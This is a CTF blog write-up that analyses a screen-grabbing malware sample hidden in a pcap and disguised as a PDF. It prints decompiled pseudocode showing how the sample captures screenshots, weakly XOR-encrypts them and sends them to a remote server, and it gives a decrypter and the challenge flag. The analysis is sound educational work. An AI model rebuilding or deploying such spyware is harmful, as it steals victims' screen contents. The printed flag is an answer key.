Monday, 7 November 2016

Hack the Vote 2016 CTF - APTeaser writeup


Just for fun I decided to have a go at the Hack the Vote 2016 CTF, particularly the reversing challenges on Windows. There were two of them APTeaser & Trumpervisor. I managed to solve the first. I did try the second but it involved reversing a Win 10 kernel driver implementing a hypervisor using the Intel Virtualization Extensions (VT-x). Anyway, here is a somewhat detailed writeup for the first.

Initial Analysis

The provided file is a pcapng. Opening it in fiddler, reveals an interesting http request for a supposed pdf file on the domain important.documents.trustme, but as indicated from the Content-Type the response is actually an executable.

Serving an executable when all I want is a pdf
Fig 1: Serving an executable when all I want is a pdf
This can be further verified in wireshark as shown in Fig 2.

Cross checking in wireshark
Fig 2: Cross checking in wireshark
We can save the response to a new file for further analysis. As expected the the file has a pdf icon and a dual extension to pass off as an innocuous pdf, waiting to be clicked.

Fig 3: An exe with a pdf icon and dual extensions

Dissecting the executable

The executable in question is a screen grabber. It takes screenshot of the desktop at regular intervals, saves to a jpeg file, "encrypts" the file, and sends it to a remove server. We can decompile it in hex-rays to get the following pseudo code.
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [sp+0h] [bp-2Ch]@1
  int v5; // [sp+10h] [bp-1Ch]@1
  int x; // [sp+14h] [bp-18h]@1
  int y; // [sp+18h] [bp-14h]@1
  int x1; // [sp+1Ch] [bp-10h]@1
  int y1; // [sp+20h] [bp-Ch]@1
  SOCKET sock; // [sp+24h] [bp-8h]@2
  int i; // [sp+28h] [bp-4h]@1

  sub_401BF0(0, 0, 0);
  GdiplusStartup(&v5, &v4, 0);
  x1 = 0;
  y1 = 0;
  x = GetSystemMetrics(SM_CXSCREEN);
  y = GetSystemMetrics(SM_CYSCREEN);
  i = 0;
  do
  {
    sock = create_socket();
    if ( sock == SOCKET_ERROR )
    {
      ++i;
      Sleep(300u);
    }
    else
    {
      i = 0;
      take_screenshot(x1, y1, x - x1, y - y1);
      send_file(sock, "a");
      destroy_socket(sock);
    }
  }
  while ( i < 5 );
  GdiplusShutdown(v5);
  return 0;
}

As shown in the preceding snippet, it takes screencaps at regular intervals, and retrying for 5 times if socket creation fails. To get a better overview of the network traffic, we can analyse it using FakeNet-NG an excellent dynamic network analysis tool from Fireeye.

A quick overview of the network traffic

FakeNet-NG capturing the outbound requests
Fig 4: FakeNet-NG capturing the outbound requests
FakeNet-NG is an immensely helpful tool for dealing with malware/apps that uses the internet for communication. While tools like wireshark can only capture the traffic, fakenet additionally, also has the ability to mimic/emulate/tamper the responses via custom listeners implemented as plugins. On this particular sample, it has redirected an outbound request to 128.213.48.117:27015 to its default tcp listeners. Additionally, the name/pid of the application that initiated the request is also shown. The next point of interest the data that is actually being sent. It starts with the hex bytes 80 F4 FF E0. Now, a jpeg starts with FF D8 FF E0. Similarly the next 4 bytes, 43 4F 4A 46 bear strong resemblance to the true jpg header bytes xx xx 4A 46. From this, it can be easily deduced that a jpeg is being sent after applying some sort of "encryption" on the first two bytes of each dword.

The encryption algorithm

The encrypting functionality is implemented in the function send-file and is the subject of further analysis. The snippet of code that deals with the encryption is as follows.

  completed = 0;
  blocksize = 0;
  while ( completed < filesize )
  {
    seed = get_time(0);
    srand(seed);
    if ( filesize - completed < 2048 )
      blocksize = filesize - completed;
    else
      blocksize = 2048;
    for ( i = 0; i < blocksize / 4; ++i )
    {
      randnum = rand();
      if ( !i )
      {
        xored_val = randnum ^ *(jpeg_buf + completed);
        v4 = std::basic_ostream<char,std::char_traits<char>>::operator<<(std::cerr, randnum, sub_403880, " ", *(jpeg_buf + completed), " ");
        v5 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v4);
        v6 = sub_401040(v5, xored_val);
        v7 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v6, sub_401680, v13, *&v14, v15, v16);
        v9 = sub_401040(v7, v8);
        v11 = std::basic_ostream<char,std::char_traits<char>>::operator<<(v9, v10, *&v14, v15, v16, v17);
        std::basic_ostream<char,std::char_traits<char>>::operator<<(v11);
      }
      *(jpeg_buf + 4 * i + completed) ^= randnum;
    }
    send(sock, jpeg_buf + completed, blocksize, 0);
    completed += blocksize;
    Sleep(Seed * completed % 3600);
  }

The code initializes the random number using the current time as a seed to the function srand. Then it begins to xor the jpeg 4 bytes at a time with the generated random number in blocks of 2048 bytes, i.e it uses a new random number after every 2048 bytes. The range of the function rand lies between 0 and 32767 (0x7FFF). The upper two bytes are always zero. This explains the reason behind the fact that for every 4 bytes of the encrypted data, 2 bytes were always left unencrypted, as was found in fakenet.

Breaking the crypto

To break the crypto, we need to predict the generated random number, which depends on the seed used. The seed in turn is just the current time in epochs. Now each captured packet has a timestamp, we can use that value as a seed to srand to regenerate the exact same sequence of random numbers.

First we need to get the timestamps of the relevant packets. This can be done by setting a filter and exporting the resultant packets to a new pcap file as shown in Fig. 5
Fig 5: Applying a display filter in wireshark
Then a python script to get the timestamps and to carve out the jpeg.
import pyshark
import cStringIO

cap = pyshark.FileCapture('filtered.pcap')
buf = cStringIO.StringIO()
rand_seeds = []

for pkt in cap:
    buf.write(pkt.data.data.decode('hex')) # pkt.layers[3].data
    rand_seeds.append(int(float(pkt.frame_info.time_epoch))) 

open('encrypted.jpg', 'wb').write(buf.getvalue())
print rand_seeds

Once we have the encrypted jpeg and the seed values, we can create the decrypter in C.
#include <stdlib.h>
#include <stdio.h>
#include <conio.h>

void main()
{
 int rand_seeds[] = {1460329071, 1460329074, 1460329077, 1460329080, 1460329084, 
  1460329084, 1460329087, 1460329090, 1460329091, 1460329093, 1460329096, 
  1460329100, 1460329102, 1460329105, 1460329109, 1460329111, 1460329112, 
  1460329114, 1460329115, 1460329117, 1460329121, 1460329121, 1460329123, 
  1460329125, 1460329128, 1460329131, 1460329133, 1460329135, 1460329136, 
  1460329140, 1460329141, 1460329142, 1460329145, 1460329148, 1460329150, 
  1460329154, 1460329154, 1460329154, 1460329158, 1460329158, 1460329160, 
  1460329161, 1460329161, 1460329165, 1460329165, 1460329167, 1460329168, 
  1460329170, 1460329171, 1460329172, 1460329173, 1460329174, 1460329175, 
  1460329178, 1460329180, 1460329182, 1460329182, 1460329184, 1460329185, 
  1460329186, 1460329187, 1460329190, 1460329191, 1460329192, 1460329194, 
  1460329197, 1460329197, 1460329198, 1460329199, 1460329200, 1460329202, 
  1460329202, 1460329203, 1460329203, 1460329205, 1460329207, 1460329210, 
  1460329210, 1460329213, 1460329215, 1460329217, 1460329218, 1460329220, 
  1460329220, 1460329222, 1460329225, 1460329227, 1460329230, 1460329232, 
  1460329234};

 FILE *inf = fopen("encrypted.jpg", "rb");
 FILE *outf = fopen("decrypted.jpg", "wb");
 fseek(inf, 0, SEEK_END);
 long size = ftell(inf);
 rewind(inf);

 for (int i = 0; i < 90; i++)
 {
  srand(rand_seeds[i]);
  for (int j = 0; j < (size < 2048?size/4:2048/4); j++)
  {
   unsigned int data;
   fread(&data, 4, 1,  inf);
   data ^= rand();
   fwrite(&data, 4, 1, outf);
  }
  size -= 2048;
 }
 getch();
}

Running this we get the decrypted jpeg as shown in Fig 6. The flag is flag{1_n33d_my_t00Lb4r5}.

Fig 6: The flag


1 comment:

  1. Thanks for the really helpful and interesting article.

    ReplyDelete